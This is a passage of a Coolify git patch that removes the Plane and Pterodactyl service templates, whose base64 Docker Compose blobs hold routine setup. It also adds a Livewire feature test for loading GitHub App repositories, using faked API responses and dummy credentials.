0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php
new file mode 100644
index 000000000..19474caca
--- /dev/null
+++ b/tests/Feature/GithubPrivateRepositoryTest.php
@@ -0,0 +1,126 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->rsaKey = openssl_pkey_new([
+ 'private_key_bits' => 2048,
+ 'private_key_type' => OPENSSL_KEYTYPE_RSA,
+ ]);
+ openssl_pkey_export($this->rsaKey, $pemKey);
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => $pemKey,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $this->githubApp = GithubApp::create([
+ 'name' => 'Test GitHub App',
+ 'api_url' => 'https://api.github.com',
+ 'html_url' => 'https://github.com',
+ 'custom_user' => 'git',
+ 'custom_port' => 22,
+ 'app_id' => 12345,
+ 'installation_id' => 67890,
+ 'client_id' => 'test-client-id',
+ 'client_secret' => 'test-client-secret',
+ 'webhook_secret' => 'test-webhook-secret',
+ 'private_key_id' => $this->privateKey->id,
+ 'team_id' => $this->team->id,
+ 'is_system_wide' => false,
+ ]);
+});
+
+function fakeGithubHttp(array $repositories): void
+{
+ Http::fake([
+ 'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
+ 'Date' => now()->toRfc7231String(),
+ ]),
+ 'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
+ 'token' => 'fake-installation-token',
+ ], 201),
+ 'https://api.github.com/installation/repositories*' => Http::response([
+ 'total_count' => count($repositories),
+ 'repositories' => $repositories,
+ ], 200),
+ ]);
+}
+
+describe('GitHub Private Repository Component', function () {
+ test('loadRepositories fetches and displays repositories', function () {
+ $repos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($repos);
+
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->assertSet('current_step', 'github_apps')
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('current_step', 'repository')
+ ->assertSet('total_repositories_count', 2)
+ ->assertSet('selected_repository_id', 1);
+ });
+
+ test('loadRepositories can be called again to refresh the repository list', function () {
+ $initialRepos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($initialRepos);
+
+ $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('total_repositories_count', 1);
+
+ // Simulate new repos becoming available after changing access on GitHub
+ $updatedRepos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
+ ['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($updatedRepos);
+
+ $component
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSet('total_repositories_count', 3)
+ ->assertSet('current_step', 'repository');
+ });
+
+ test('refresh button is visible when repositories are loaded', function () {
+ $repos = [
+ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
+ ];
+
+ fakeGithubHttp($repos);
+
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->call('loadRepositories', $this->githubApp->id)
+ ->assertSeeHtml('title="Refresh Repository List"');
+ });
+
+ test('refresh button is not visible before repositories are loaded', function () {
+ Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
+ ->assertDontSeeHtml('title="Refresh Repository List"');
+ });
+});
From 30e65abf1be972e52a20f8d95a9351aaa039b018 Mon Sep 17 00:00:00 2001
From: Taras Machyshyn
Date: Fri, 27 Feb 2026 20:23:24 +0200
Subject: [PATCH 022/168] Added EspoCRM
---
public/svgs/espocrm.svg | 82 ++++++++++++++++++++++++++++++++++
